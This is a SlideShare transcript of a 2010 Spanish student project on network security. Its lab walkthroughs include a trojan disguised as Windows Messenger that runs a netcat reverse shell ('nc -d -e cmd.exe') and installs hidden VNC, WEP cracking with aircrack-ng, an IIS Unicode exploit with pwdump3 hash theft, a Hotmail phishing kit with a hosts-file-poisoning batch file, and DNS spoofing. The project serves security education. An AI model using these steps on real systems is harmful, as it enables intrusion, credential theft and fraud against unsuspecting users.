Your SlideShare is downloading. ×
Seguridad en redes informáticas
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×

Introducing the official SlideShare app

Stunning, full-screen experience for iPhone and Android

Text the download link to your phone

Standard text messaging rates apply

Seguridad en redes informáticas

838
views

Published on

Proyecto final de ciclo, en Sistema de Telecomunicaciones e Informáticos, de los alumnos Iván Pérez y Pau Sabate. Ver más en …

Proyecto final de ciclo, en Sistema de Telecomunicaciones e Informáticos, de los alumnos Iván Pérez y Pau Sabate. Ver más en http://www.francescperez.net/html/proyectos/articulos/art_10_Seguridad_en_redes_informaticas.html

Ver más en http://francescperez.net/html/proyectos/articulos/art_10_Seguridad_en_redes_informaticas.html

Published in: Education

0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
838
On Slideshare
0
From Embeds
0
Number of Embeds
3
Actions
Shares
0
Downloads
24
Comments
0
Likes
1
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. Seguridad de redes informáticas Fecha: 25/05/2010 Creado por: Iván Pérez Pau Sabaté Tutor: Francesc Pérez Pedro Porcuna Proyecto de síntesis
  • 2. 1. Introducción............................................................................................................. 22. Situación inicial ....................................................................................................... 43. Objetivos ................................................................................................................... 44. Seguridad de redes informáticas ............................................................................. 6 4.1 Arquitecturas de red ...................................................................................... 6 4.1.1 Servidores replicados .................................................................................... 6 4.1.2 Servidores VPN ............................................................................................ 7 4.1.3 Red Estándar ................................................................................................. 8 4.1.4 DMZ ............................................................................................................. 9 4.1.5 Red Doméstica............................................................................................ 10 4.2 Implementar ataques y vulnerabilidades ................................................... 11 4.2.1 MSN Portable ............................................................................................. 11 4.2.2 Conseguir claves web ................................................................................. 23 4.2.1 Ataque UNICODE...................................................................................... 32 4.2.1 Phishing ...................................................................................................... 52 4.2.2 Suplantación de identidad........................................................................... 57 4.2.1 DNS Spoofing ............................................................................................ 74 4.3 Seguridad....................................................................................................... 78 4.3.1 Conceptos de seguridad ........................................................................... 78 4.3.1.1 Autentificación: ...................................................................................... 78 4.3.1.2 Confidencialidad: ................................................................................... 78 4.3.1.3 Integridad: ............................................................................................... 79 4.3.2 Arquitecturas DMZ .................................................................................. 81 4.3.2.1 Firewall ................................................................................................... 82 4.3.2.2 Proxy....................................................................................................... 83 4.3.2.3 IDS .......................................................................................................... 85 4.3.2.4 IPS .......................................................................................................... 86 4.3.3 VPN ............................................................................................................ 885. Resultados .............................................................................................................. 906. Conclusiones y líneas futuras ............................................................................... 947. Anexo ..................................................................................................................... 96 7.1 Configuración del firewall ........................................................................... 96 7.2 Manual IPcop .............................................................................................. 1138. Glosario ................................................................................................................ 130 1. Introducción 2
  • 3. En este trabajo, pretendemos dar una visión profunda de los principales problemasde seguridad que existen en las redes de hoy en día. Internet, es la mayor red queexiste, la cual en los últimos años ha evolucionado considerablemente y cada vezmás personas, utilizan esta poderosa herramienta en su día a día, sea para trabajar,para estudiar, como ocio…Cada vez son más las actividades que podemos realizar gracias a internet: comprarsin salir de casa, comunicarnos sin utilizar teléfono con cualquier parte del mundo,manejar nuestras cuentas bancarias sin salir de casa…pero no todo son ventajas, yaque, como dice el refrán: “Hecha la ley, hecha la trampa”.Es posible que descubran nuestras contraseñas del banco…que se hagan pasar pornosotros con nuestro correo…y ese tipo de problemas son los que vamos apresentar en este trabajo. Nosotros, lo hemos enfocado más a nivel empresarial y noa una red doméstica, ya que la información verdaderamente interesante que atrae alos hackers se encuentra en las empresas.No puedes asegurar que un sistema sea impenetrable, pero al menos, nosaseguraremos de que si alguien quiere entrar, lo tenga bastante difícil.El objetivo principal del trabajo es explicar cuáles son los peligros más frecuentesen internet y cómo podemos remediarlos. Luego, como objetivos secundarios nosgustaría entender cuál es el origen de estos peligros (fallos de programación…) yponernos en la piel de un hacker implementando algún que otro ataque a una redmontada por nosotros mismos.Una vez fijados nuestros objetivos, empezaremos por describir la situación inicialen la que nos encontramos (Que conocimientos tenemos actualmente, que podemoshacer…) para así, leer este escrito al final del trabajo y poder hacer un balance de loque sabíamos antes del trabajo, y lo que sabremos después de realizarlo.A continuación, describiremos las etapas del trabajo que iremos realizando con eltiempo que proporcionado, asistiendo a horas de consulta con el Profesor FrancescPérez que será quien nos guie en este trabajo. 3
  • 4. 2. Situación inicialBien, nos encontrados es segundo de ESI y poseemos una serie de conocimientosde redes ya que en este curso tenemos la asignatura de internet y el año pasadohicimos redes.El año pasado, fundamentalmente lo que vimos en redes fue, de forma teórica, lastipologías de red, como por ejemplo, en forma de árbol, tipología anillo (Tokenring), tipología lineal, etc… También dimos unas pequeñas pinceladas de lo que erael modelo OSI, cuáles eran sus capas, quienes eran los desarrolladores... peroinsistimos, todo esto fueron clases teóricas.Otro punto que dimos, fueron los dispositivos hub, switch y router. Aprendimosque eran, y de qué forma se comportaban cada uno de ellos dentro de una red. Esteaño, en la asignatura de internet, además de clases teóricas, también hemos hechoimplementaciones, en máquinas virtuales... Hemos vuelto a tocar la capa OSI, peroesta vez la hemos estudiado profundamente, y además hemos aprendido el modelode internet, analizando también sus 4 capas.Nos hemos centrado en los routers, y hemos hecho prácticas de configuración derouters cisco y la creación de redes virtuales utilizando un programa llamado“Packet Tracer”.Por lo tanto, se podría decir que sabemos crear una red básica, con varios router,varios switches y sus correspondientes ordenadores.En internet, también hemos aprendido el funcionamiento de los protocolos másimportantes, como DNS, DHCP...y hemos instalado un servidor de cada uno deellos en maquinas virtuales para ver de qué manera se comportan y que paquetesenvían y reciben. Otra de las prácticas, fue utilizar telnet y ssh, poniendo un snifferllamado “ettercap” a la escucha y pudiendo observar que descubrir unacomunicación sin encriptarse como telnet estaba al alcance de cualquiera mientrasque desencriptar paquetes mandados por ssh era prácticamente imposible.Los conocimientos generales que tenemos son teóricos de funcionamientos deprotocolos, no hemos realizado ningún ataque ni se nos ha explicado nada sobreello.Tampoco hemos trabajado el funcionamiento de dispositivos que no sean los tresnombrados anteriormente (router, hub y switch). En este trabajo pretendemosconsolidar los conocimientos adquiridos y también ampliarlos, como por ejemploaprender a utilizar firewalls, Ids, Ips...y estudiar las vulnerabilidades que tienen losprotocolos más usados en internet.3. Objetivos 4
  • 5. Como objetivos del trabajo pretendemos conocer todos los dispositivos hardware ysoftware que se pueden utilizar en la arquitectura de una red y saber cuáles de ellosutilizar según las necesidades de esta red.Esto quiere decir, por ejemplo, que si a nosotros nos piden una red para 300 personas ynos dan un presupuesto, tenemos que barajar las diferentes opciones para esta red yelegir la más segura para ese caso.También nos gustaría, aunque fuese muy por encima, configurar un proxy y un firewally ver cómo reacciona y que posibilidades de configuración nos da.Para ello buscaremos sistemas gratuitos de Unix que podamos instalar en cualquierordenador.Lo más importante en una red, es la seguridad, por lo tanto también tendríamos queconocer a que se deben los problemas de seguridad, que suelen ser fallos deprogramación, y una vez detectado el problema, diseñar una arquitectura donde elataque quede obsoleto.Por ejemplo, si implementamos un ataque donde un virus envíe peticiones de descargas,utilizar un proxy para que estos paquetes no lleguen a ninguna parte.Otro de los objetivos es la implementación de una serie de ataques utilizandoordenadores conectados entre ellos con un cable cruzado. Con estas prácticasaprenderemos como ejecutar el ataque y una vez quede demostrado que existe unavulnerabilidad, plantearemos la solución de esta misma, para que si volvemos a realizarel ataque se demuestre que ya estamos protegidos. 5
  • 6. 4. Seguridad de redes informáticas 4.1 Arquitecturas de red 4.1.1 Servidores replicadosEsta arquitectura se basa en que los diferentes servidores de las oficinas se vayantransfiriendo la información entre ellos a través de internet a tiempo real.Es una red muy costosa, pero proporciona mucha velocidad, seguridad y agilidad a losusuarios.Además, si estas oficinas se han de ampliar y se hace necesario poner un servidor más,la configuración de este no es nada complicada y le facilita mucho el trabajo aladministrador de red. 6
  • 7. 4.1.2 Servidores VPNEsta arquitectura está hecha para la comunicación Segura entre servidores, mediante unaVPN. Los servidores se conectan mediante una conexión que esta encriptada, y dificultaque la lectura de los paquetes sea más complicada.Montar esta red es menos costoso que la anterior, pero mucho más complejo deconfigurar. Además es menos rápida y en caso de tener que añadir un nuevo servidor,estableciendo la comunicación provocaríamos la sobrecarga del que estuviese en medio. 7
  • 8. 4.1.3 Red EstándarEsta es una de las redes más comunes en las empresas pequeñas, ya que sólo tiene pocosdepartamentos formados por un pequeño grupo de ordenadores. Al igual que todas,tienen que estar protegidas por un firewall después del router. Es una de las máscomunes ya que es simple y fácil de instalar y en muchas oficinas pequeñas no esnecesario montar ningún otro sistema de seguridad. 8
  • 9. 4.1.4 DMZEsta arquitectura nombrada DMZ, consta de una red normal más una zonadesmilitarizada, con un servidor aparte de la red de usuarios. Esto hace que aumenteconsiderablemente la seguridad en la red, ya que si alguien puede conseguir acceso a laDNZ, donde se encuentran los servidores, la red de usuarios seguiría estando segura.Esta arquitectura se implementa si además de la típica LAN de usuarios es necesaria lainstalación de un servidor FTP, web, Base de datos, etc… 9
  • 10. 4.1.5 Red DomésticaEsta red es la más común en los hogares, ya que no es necesario establecer tantaseguridad en nuestras redes domésticas. Nos conectamos directamente a internet con undispositivo que nos hace de Router (Enruta los paquetes), modem (convierte señaltelefónica en ADSL), switch (podemos conectar varios PC por cable) y ademásincorpora un pequeño firewall. También hay algunos que tienen incorporado un puntode acceso. 10
  • 11. 4.2 Implementar ataques y vulnerabilidades 4.2.1 MSN PortableEscenario del ataque:En este ataque utilizaremos dos herramientas de red para hacernos con el controlcomplete de una máquina. Una de ellas se llama netcat, que és una herramienta que tepermite establecer una Shell remota de otra máquina. Y la otra es TighVNC. Un cliente-servidor VNC con una característica añadida. Este programa se puede controlar desde laconsola de comandos.Observemos las opciones que nos proporciona el netcat. 11
  • 12. Ahora nos instalaremos TighVNC, cliente y servidor. Iremos a la carpeta donde se nosha instalado y cogeremos los dos únicos archivos que son necesarios para que el clientepueda establecer una conexión con el servidor.Si ejecutamos el cliente en nuestra máquina, nos daremos cuenta que aparece un iconoen la barra de tareas. Este icono hay que ocultarlo ya que la víctima se podría dar cuentade lo que está pasando fácilmente.Configuraremos el cliente en nuestra máquina tal y como queremos que quede en elordenador de la víctima. Podemos poner password, resolución de la pantalla alta,baja…y todos estos atributos quedaran guardados en el registro de Windows en lasiguiente ubicación: 12
  • 13. La opción para esconder el icono de la barra de herramientas NO es configurable en lasopciones que el programa trae por defecto, pero lo podemos conseguir agregando lasiguiente clave en el registro y estableciéndole el valor “1”: 13
  • 14. Cuando ya lo tenemos todo listo y bien configurado exportaremos todo el registro a unarchivo para que este, sea luego añadido en el ordenador que queramos controlar.Para guardar el registro pulsaremos “botón derecho Exportar:Yo lo guardaré con el nombre de reg.reg: 14
  • 15. Si abrimos el archivo con un bloc de notas veremos esto:Para establecer conexión con el ordenador de la víctima tenemos que saltarnos elfirewall que tiene integrado el router. Esto sería mediante una conexión directa en lacual nosotros nos conectaríamos a la víctima.Para evitar el problema del firewall, nosotros utilizaremos conexión inversa, en la cualel pc de la víctima será quien se conecte a nosotros. Cada cierto tiempo, la aplicaciónnetcat irá enviando peticiones de conexión a nuestro servidor. En este caso la ip delservidor será la 169.254.2.2 y utilizaremos el puerto 6000 para la conexión. Por lo tantotendríamos que abrirlo en nuestro router y firewall. También tendremos en cuenta quelos archivos los extraeremos en Archivos de programa Windows Messenger.Para que netcat envíe peticiones a nuestro servidor cada cierto tiempo, hemos creadouna aplicación en visual basic con dos timers y el siguiente código: Private Sub Form_Load() App.TaskVisible = False Timer1.Enabled = True Timer2.Enabled = True Form1.Visible = False End Sub Private Sub Timer1_Timer() Shell "....Archivos de programaWindows Messengernc -d -e cmd.exe 169.254.2.2 6000" End Sub Private Sub Timer2_Timer() 15
  • 16. Shell "....Archivos de programaWindows Messengernc -d -e cmd.exe 169.254.2.2 6000" Timer2.Enabled = False End SubPara crear el ejecutable le daremos el nombre de un proceso habitual de Windows paracamuflarlo.Ya tenemos todo lo necesario para controlar una máquina remotamente, solo nos faltaponer en marcha todo esto que hemos montado.Para añadir el archivo reg.reg en el registro de la máquina, y añadir dos registros paraque el programa compilado por nosotros en visual basic y el winvnc se ejecuten al iniciode Windows crearemos el siguiente archivo.bat. Además añadiremos el código que haráque los dos programas también se ejecuten tras la extracción. 16
  • 17. REGEDIT /S vnc.regreg add "HKLMSoftwareMicrosoftWindowsCurrentVersionRun" /v "winVNC" /d"C:Archivos de programaWindows MessengerWinVNC.exe"reg add "HKLMSoftwareMicrosoftWindowsCurrentVersionRun" /v "svchost" /d"C:Archivos de programaWindows Messengersvchost.exe"@echo offstart winvnc.exestart svchost.exeExitAhora comprimiremos todos estos archivos con el winrar, y haremos que seaautoextraíble.Método de compresión la mejor: esto solo para que el archivo ocupe lo menosposible.Iremos a la pestaña avanzado y pulsaremos en Autoextraíble para que se nos habrá unnuevo menú de opciones. 17
  • 18. Pondremos la carpeta de extracción. Los caracteres .... harán que la extracciónfuncione teniendo asignada cualquier letra como partición del sistema.Después de la extracción ejecutaremos el .bat que hemos creado.Una vez ejecutado, este fichero ya no lo querremos así que lo podemos eliminar. 18
  • 19. En modos marcaremos las opciones ocultar todo y sobrescribir todos los ficheros. Estose hará para que la víctima no vea nada de la instalación y por si ejecuta el archivovarias veces que no le aparezca ningún error ni nada de sobrescribir archivos.Para que no se vea que es un archivo comprimido, le pondremos un icono igual que elde Windows Messenger. 19
  • 20. Y ya creamos el archivo comprimido. Nos quedará así:Cuando se ejecute el archivo en el PC de la víctima le aparecerán los siguientes archivosy los siguientes registros serán añadidos. El no se dará cuenta de nada. 20
  • 21. Ahora solo tenemos que poner el netcat a la escucha en nuestro ordenador. Para máscomodidad copiaremos esta librería en c:Windowssystem32 para poder ejecutarlo sintener que ir a la ubicación en la que está.Aquí recibimos la conexión. Ahora ya estamos controlando la Shell de la máquina de lavíctima. 21
  • 22. Si queremos ver la pantalla de la víctima en directo, pondremos nuestro cliente VNC ala escucha pulsando listen mode.Y desde la Shell de la víctima ejecutaremos el comando que hará que se conecte anuestro PC:El resultado obtenido es el siguiente: 22
  • 23. 4.2.2 Conseguir claves webEscenario: 23
  • 24. Lo primero que haremos antes de realizar el ataque será comprobar la configuración delas interfaces de red activas. Para ello utilizaremos el programa ifconfig.Luego utilizaremos el programa iwconfig. Es muy similar al ifconfig, pero este estáorientado a interfaces inalámbricas. Se utiliza para establecer parámetros específicos deconexiones inalámbricas.iwconfig: Nos mostrara las interfaces inalámbricas que tenemos configuradas. 24
  • 25. Ahora empezaremos el ataque, primero hay que poner alguna interface en modomonitor. Para ello seguiremos el siguiente procedimiento:Si tenemos desactivada la interface del adaptador con el cual queremos realizar laauditoría, la activaremos con el siguiente comando:ifconfig wlan0 upAhora, a partir de esta crearemos una nueva interface la cual estará en modo monitor.Para ello utilizaremos airmon-ng con el siguiente comando.airmon-ng start wlan0 25
  • 26. El nombre asignado a nuestra nueva interface es “mon1”. Bien, esta interface tendrá lamisma mac que wlan0, detalle que nos puede delatar. Para impedirlo cambiaremos lamac de la interface.Recordamos que para cambiar la configuracion de una interface, esta, debe estardesactivada. La desactivaremos de la siguiente manera:ifconfig mon1 downY ahora, con el programa macchanger cambiaremos la mac.macchanger -m 00:11:22:33:44:55 mon1Una vez realizada la operación, volveremos a levantar la interface para poder usarla.ifconfig mon1 up 26
  • 27. Ahora elegiremos una red víctima. Para ver las redes utilizaremos el programaairodump-ng:airodump-ng mon1Asi nos saldrá un listado con todas las redes inalámbricas localizadas. Nosotrosdebemos elegir cuál de ellas nos gustaría atacar y apuntar su canal, su dirección macpara poder seguir realizando el ataque.control-c (Para parar el airodump)Ahora volveremos a la captura de paquetes centrándonos solamente en el canal 6.También podríamos centrar la captura de una mac pero al no haber muchas redes en estecanal no es necesario hacerlo.airodump-ng mon1 –w WLAN_9A -c 6 (lo dejas capturando) 27
  • 28. Ejecutaremos esa orden donde en el parámetro –w indicaremos el nombre del archivoen el cual se vayan a guardar los paquetes capturados y en la opción –c, elegiremos elcanal a capturar.Bien, ahora debemos autentificarnos con el router para que este crea que formamosparte de su red habitual. Lo haremos utilizando el programa aireplay-ng.aireplay-ng -1 0 -e (Nombre red) -a (mav víctima) -h (nuestra dirección mac) mon1aireplay-ng -1 0 -e WLAN_9A -a 00:13:F7:1D:B6:CF -h 00:23:cd:bb:0b:fb mon1Los paquetes de la red se irán capturando, pero para acelerar este proceso inyectaremosnuestros propios paquetes a la red. 28
  • 29. aireplay-ng -3 -b 00:13:f7:1D:B6:CF -h 00:11:22:33:44:55 mon1Aquí podemos observar que la captura de paquetes crece gracias a la inyección. 29
  • 30. Una vez capturados los paquetes necesarios, solo tenemos que utilizar aircrack paradesencriptar la clave utilizando el fichero donde habíamos guardado las capturaspreviamente.aircrack-ng WLAN_9ª-01.capAl ejecutar este comando nos saldrá una lista de redes, tenemos que seleccionarmediante un número la red que hemos estado atacando. En este caso utilizaremos elnúmero 1.En unos segundos obtendremos nuestra clave wifi. 30
  • 31. 31
  • 32. 4.2.1 Ataque UNICODEEscenario:En este ataque, aprovecharemos un fallo de programación en el programa IIS 5.0 parapoder acceder a un sistema Windows 2000 server. Una vez realizado el ataque medianteeste bug llamado Unicode, procederemos a aprovechar este método para transferir yejecutar archivos en la máquina víctima.Primero, usaremos un programa llamado N-Stealth con el cual podemos escanear unrango de hosts. El programa nos mostrará información sobre estos hosts, tantoprogramas instalador como posibles bugs de estos mismos.En estas capturas veremos que el programa va capturando información.Cuando acaba, nos muestra en un documento .html toda la información que haencontrado incluyendo los posibles bugs. 32
  • 33. 33
  • 34. El programa nos ha encontrado el bug “Unicode ISS”.Este fallo permite ejecutar comandos y/o programas en el servidor remotamente.El fallo consiste en que el programa logra reproducir los caracteres "/" y "" escritos enel navegador como si se tratase de un directorio local y así podemos introducirnos en lamáquina víctima.Para que el programa reconozca estos caracteres, los representamos mediante caracteresUNICODE (Representación hexadecimal de su valor ASCII precedido de un símbolo%).En este caso nos introducimos en la carpeta system32 para abrir cmd.exe y ejecutar undir del disco duro local C:. 34
  • 35. Esto ha sido ejecutado desde un equipo con Windows xp cuya ip es 192.168.1.40introduciéndonos en el equipo víctima: 192.168.1.39.En este pantallazo comprobamos que la información que nos ha proporcionadoanteriormente el navegador es correcta.Pantallazo desde Windows 2000: 35
  • 36. Ahora exploraremos la carpeta inetpubscripts del servidor.El pantallazo nos indica que esta vacía.Comprobamos si esto es cierto mirando el servidor y vemos que sí.Pretendiendo obtener más información sobre esta red en la cual nos hemos infiltradoejecutaremos un ipconfig /all y net view desde nuestro navegador. 36
  • 37. Los resultados mostrados son correctos. Ahora exploraremos que archivos compartidosexisten en esta máquina. 37
  • 38. Según el navegador, la carpeta Mis Documentos esta compartida.Miramos si es cierto en el servidor.Efectivamente en nuestro servidor tenemos esta carpeta compartida.Una vez hemos llegado aquí, tenemos bastante información sobre la red en la cualhemos conseguido penetrar. Ahora utilizaremos una herramienta llamada SolarWindsTFTP Server. 38
  • 39. Para poner el programa en funcionamiento le tenemos que dar a File Options y pulsarStart.El programa nos pedirá que creemos la ruta para guardar los ficheros, si queremos usarla predeterminada tendremos que crear la carpeta.Utilizando este programa podemos introducir y extraer archivos entre nuestra máquina yel servidor. Podríamos enviar y ejecutar cualquier troyano o cualquier programa. enviarNosotros hemos decidido utilizar una herramienta llamada netcat para proceder alataque. Esta herramienta es muy fácil de usar y nos permitirá disponer de una shellremota de la máquina víctima.Nos descargamos esta herramienta y la enviamos al servidor. Se nos quedara en la cargamoscarpeta scripts. 39
  • 40. Ahora, ejecutaremos la herramienta introduciendo los parámetros precisos. Los espaciosserán expresados mediante el signo “+”.Especificamos que la conexión se realice mediante el puerto 80, que se quede en modolistening (esperando conexión entrante) y que después de la conexión se ejecute elprograma cmd.exeUna vez ejecutado el comando no nos cargará ninguna página, pero se habrá ejecutado.Solo nos queda, desde la máquina del atacante ejecutar el siguiente comando pararealizar la conexión. Cabe recordar que lo deberemos ejecutar desde la carpeta quecontenga el archivo netcat.exe. La sintaxis es: nc [ipvíctima] [puerto] 40
  • 41. Recibimos el mensaje el cual demuestra que hemos establecido conexión con lamáquina, ahora tenemos su shell para movernos por su sistema.Demostramos que el contenido que muestra la shell remota es totalmente real. 41
  • 42. Ahora iremos a por las contraseñas de administrador. Utilizaremos el programa llamadopwdump3. Lo primero que tenemos que hacer es enviar al servidor los archivos quequeremos utilizar para el ataque. Para ello pondremos estos archivos en la carpetac:THTP-Root y los enviaremos igual que hemos enviado el netcat anteriormente. 42
  • 43. Miramos que los archivos se hayan transferido. 43
  • 44. Observamos el log del TFTP Server donde nos dice todo lo enviado.Una vez hemos hecho esto ejecutaremos la siguiente orden para que el programaalmacene en un archivo de texto toda la información de usuarios y contraseñas que hayaen el sistema. El archivo se guardará en la ruta especificada, en este casoc:inetpubscriptssam3.txt 44
  • 45. Observamos que el archivo de texto se ha creado correctamente. Examinados elcontenido y vemos que esta todo encriptado.Para desencriptarlo, nos lo traeremos a nuestro ordenador. 45
  • 46. Vemos que podemos observa el mismo contenido. El archivo se ha transferidocorrectamente.Ahora intentaremos desencriptar el documento. Para ello utilizaremos el programallamado LC versión 5.Le daremos a Import, escogeremos la opción From PWDUMP file y examinamos eldocumento que nos hemos traído del servidor. 46
  • 47. El programa nos indica que no hay ningún password en la máquina atacada.Para comprobar que podríamos desencriptar el password, le pondremos una contraseñaal administrador del servidor. 47
  • 48. Volvemos a capturar el archivo con la información y lo traeremos a nuestro ordenador.Ejecutamos el programa he importamos el mismo archivo con las mismas opcionesmarcadas. 48
  • 49. Ahora nos muestra que el usuario Administrador dispone de un password.Pulsamos play, y el programa empieza a descifrar la contraseña ha “fuerza bruta”: Elprograma probará combinaciones de texto hasta que de con la correcta.En esta captura nos dice que quedan 3 horas aproximadamente para poder descifrartodas las contraseñas existentes.Observemos que ya ha encontrado la última letra de la pass. 49
  • 50. A los 20 minutos testeando contraseñas ha conseguido encontrar la correcta: 50
  • 51. Ya disponemos de control total sobre la máquina. Aquí demostramos que podemosnavegar desde msdos en búsqueda de archivos interesantes y transferídnoslos a nuestroordenador. 51
  • 52. 4.2.1 PhishingEl ataque phishing (pesca en español) consiste en hacerse pasar por una persona oempresa para conseguir información y poder estafar a la víctima. Phisher (el estafador)suele interesarse por passwords y nombre de usuario. Una de las estafas más comuneses hacerse pasar por una cuenta de correo y pedir datos de confirmación al cliente. Elphishing está bastante ligado a la ingeniería social. Combinando los dos ataquesconseguimos cuentas de bancos, redes sociales (facebook, twitter, etc…).En esta implementación de phishing hemos copiado una página web. En este caso lapágina web de Hotmail, para así poder obtener el usuario y la contraseña de un clientede Hotmail. Es una página web con un código html y php para la extracción de datos.(Este por ejemplo es una versión de Windows Live anterior a la actual). 52
  • 53. La creaciónDentro de la carpeta del Scam del Hotmail live, vemos diferentes archivos. La creaciónde la página web esta en código html para el diseño junto con php. Estos dos archivosestán enlazados entre sí, analizando los archivos, vemos que el html es el que tiene todoel diseño de la web junto con una carpeta donde guarda todas las imágenes. Por otraparte tenemos el archivo Php que este se encarga de recoger las variables ( Id yContraseña ) y las envía a un documento de texto.Analizando la pagina web para comprobar cada tozo de la página, contamos con unplugin llamado Firebug. Con este, vemos cada trozo de código de la página web, tieneuna herramienta que con el cursor marcas las parte que quieres ver de código y te lomuestra todo debajo. Por ejemplo marcando el campo ID, vemos cómo está programadoel cuadro de texto. 53
  • 54. Campo ID: <input type="text" class="cssTextInput" style="" value=""autocomplete="off" maxlength="113" name="login">Campo Contraseña: <input type="password" class="cssTextInput" style=""autocomplete="off" maxlength="16" name="passwd">Botón Iniciar sesión: <input type="submit" class="cssBtn" value=" Iniciar sesión "name="SI" id="idSIButton9" style="background-image:url(&quot;http://login.live.com/pp500/images/btnbkgnd_hot.gif&quot;);">Y después de haber enviado estos dos campos a un documento de texto, que redireccione otra vez a la página web real de Hotmail para evitar una sospecha al cliente,y así hacer como si hubiera sido un error de la propia página web. Principalmenteteníamos planteado que una vez tenga los campos registrados en el documento de texto,enviara los datos a la página real de Hotmail. Pero por temas de seguridad, los campostienen una variable de números que va cambiando aleatoriamente, y es casi imposibleinsertar los campos.La publicación 54
  • 55. Seguidamente para que esta página funcionara, nos registramos a un hosting gratuitopara “publicar” probar el phishing “la estafa”. Buscamos y encontramos un hostingllamado x10hosting donde dejaban almacenar hasta 500Mb lo suficiente para poderalmacenar nuestra página web. Una vez registrados miramos el usuario y contraseñapara crear una sesión FTP.Finalmente subimos los archivos al servidor del hosting mediante un gestor de archivosFTP, nombrado Filezilla, donde introduciendo nuestro usuario y contraseña de ftpproporcionado por el hosting, subimos los archivos. Y finalmente comprobar si introduciendo un usuario y una contraseña se guardan loscampos en el documento de texto.Código para el BatPor otra parte creamos un archivo .bat , mediante un documento de texto simple,creamos el código para modificar un archivo del sistema en concreto el que se encuentreen C:windowssystem32driversetchostsEste documento, es el encargado de direccionar todas las páginas web, es decir,direcciona de una IP a un nombre, por ejemplo ahora por defecto tenemos que sale127.0.0.1 – localhost, estamos diciendo que esta ip es lo mismo que localhost.Si para esto le añadimos nuestra ip, y le decimos que es www.hotmail.com, cuando elusuario ponga en el navegador Hotmail.com, le re direccionará a nuestra página web. 55
  • 56. Para esto hemos de hacer un fichero de .txt y añadir esta secuencia:@echo offecho 208.98.57.189 http//hotmail.com >>%windir%System32driversetchostsecho 208.98.57.189 www.hotmail.com >>%windir%System32driversetchostsecho 208.98.57.189 hotmail.com >>%windir%System32driversetchostsCon este código estamos diciendo que ponga en el archivo Hosts “printe” la IP208.98.57.189 que sea www.hotmail.com y lo ponemos de todas las formas en que elusuario pueda entrar.Y finalmente convertirlo a un .bat que eso lo haremos manualmente cambiando laextensión.En conclusión este fichero sirve para que el usuario cuando ponga www.hotmail.com enel navegador le salga nuestra página web.Decoración del BatOtro paso importante, para que el usuario pueda picar mejor, convertiremos el .Bat a .Exe, que será más fácil en que pique el usuario y se piense que es un programacualquiera. Para eso lo aremos en diferentes pasos: 1. Convertir el Bat a exe: 56
  • 57. En este paso, con un simple programa, convertiremos el archivo .bat a un ejecutable, Para esto añadimos el .bat al programa y que lo convierta en un ejecutable corriente. 2. Cambiar imagen del exe: Este paso sirve para que el usuario se piense que es un programa que él desea y no tenga rumores de abrirlo. Para eso con otro programa cambiaremos el icono que tiene por defecto el .exe, este paso es sencillo, consta de instalar otra vez un programa para que cambie el icono que lleva por defecto por otro que deseamos. Como por ejemplo el de Windows Messenger, y así el usuario se piense que estamos instalando el Messenger y en realidad está modificando el archivo hosts. 3. Pasarle el archivo a la victima Por último hemos de conseguir pasarle el “instalador del programa” y que lo ejecute. Otra forma de utilización de este ataque seria la creación de una cadena de e- mails solicitando la confirmación de los datos de Hotmail para la creación de una nueva base de datos. Incluyendo en los e-mails que es de total urgencia y que se reenvíe a nuestros contactos lo antes posible. 4.2.2 Suplantación de identidadEste ataque consiste en crear una página web idéntica a una web verdadera para que lavíctima la confunda y nos introduzca así sus datos que son de nuestro interés. 57
  • 58. Para la implementación de este ataque, montaremos un punto de acceso en nuestramáquina local, y asociaremos a este un servidor DNS, DHCP y un servidor web. Desdeel PC de la víctima, veremos una red wifi sin seguridad ninguna, por lo tanto la víctimase conectará sin la necesidad de introducir ningún password. Una vez conectada, podránavegar por internet con normalidad, ya que con la configuración de nuestro DNS yDHCP habrá recibido toda la configuración necesaria para poder navegar sin problemas.Lo interesante del ataque está en el servidor DNS. Configuraremos este servicio de talforma que tenga un registro el cual asocie la web de Hotmail a una web alojada ennuestro servidor de apache local para que se comporte de la siguiente manera: -Cuando la víctima realiza una búsqueda, el servidor local, lo primero que haráserá buscar la resolución en sus registros. Si la encuentra contestará, y si no enviará lapetición a otro servidor hasta encontrar la respuesta. -Teniendo en cuenta esto, cuando la víctima quiera navegar por cualquierdirección web, nuestro servidor ara las consultas a servidores externos pero cuandointroduzca la web de Hotmail, como él tiene un registro con esta información dará larespuesta sin buscarla en sitios externos.IMPLEMENTACIÓN DEL ATAQUE 1. Montaje del servidor DHCP.Trabajaremos con dhcp3-server. Lo primero que haremos será instalarlo desde nuestro gestor de paquetes.Ahora lo configuraremos.La configuración de este programa se encuentra en /etc/dhcp3/dhcpd.conf. Utilizaremosel programa ’nano’ para editar los archivos de texto. También podemos utilizar ‘gedit’. 58
  • 59. Explicación del fichero de configuración:Ddns-update-style none Define el método de actualización de los servidores DNS.Como nosotros configuraremos un DNS propio no nos interesa que el servidor loactualice.Default-lease-time 60 Especifica el tiempo (en segundos) que será mantenida unaasignación de direcciones a no ser que el cliente especifique alguna en concreto.Max-lease-time 72 Específica la cantidad máxima de tiempo (en segundos) que serámantenida una asignación de direcciones.Authoritative Esta opción hará que el servidor de DHCP reasigne direcciones a losclientes mal configurados, incluyendo la nueva configuración del servidor.Log-facility local7 Esta opción permite que los registro del DHCP se vayaalmacenando en un log aparte y no en el syslog (log global del sistema).Esta es la configuración de direcciones de nuestro servidor: -Indicamos la subred 10.0.0.1 con la máscara 255.255.255.0. -Indicamos que rango de ip a de asignar nuestro servidor. Asignara ladirecciones desde 10.0.0.33 hasta 10.0.0.254. -Indicamos el Gateway o puerta de enlace: 10.0.0.1 -Indicamos el servidos DNS que ha de asignar a los clientes. Como es uno localigual que el DHCP el servidor DNS también se encontrara en nuestra ip: 10.0.0.1Subnet 10.0.0.0 netmask 255.255.255.0 { Range 10.0.0.33 10.0.0.254 Option routers 10.0.0.1Option domain-name-servers 10.0.0.1} 59
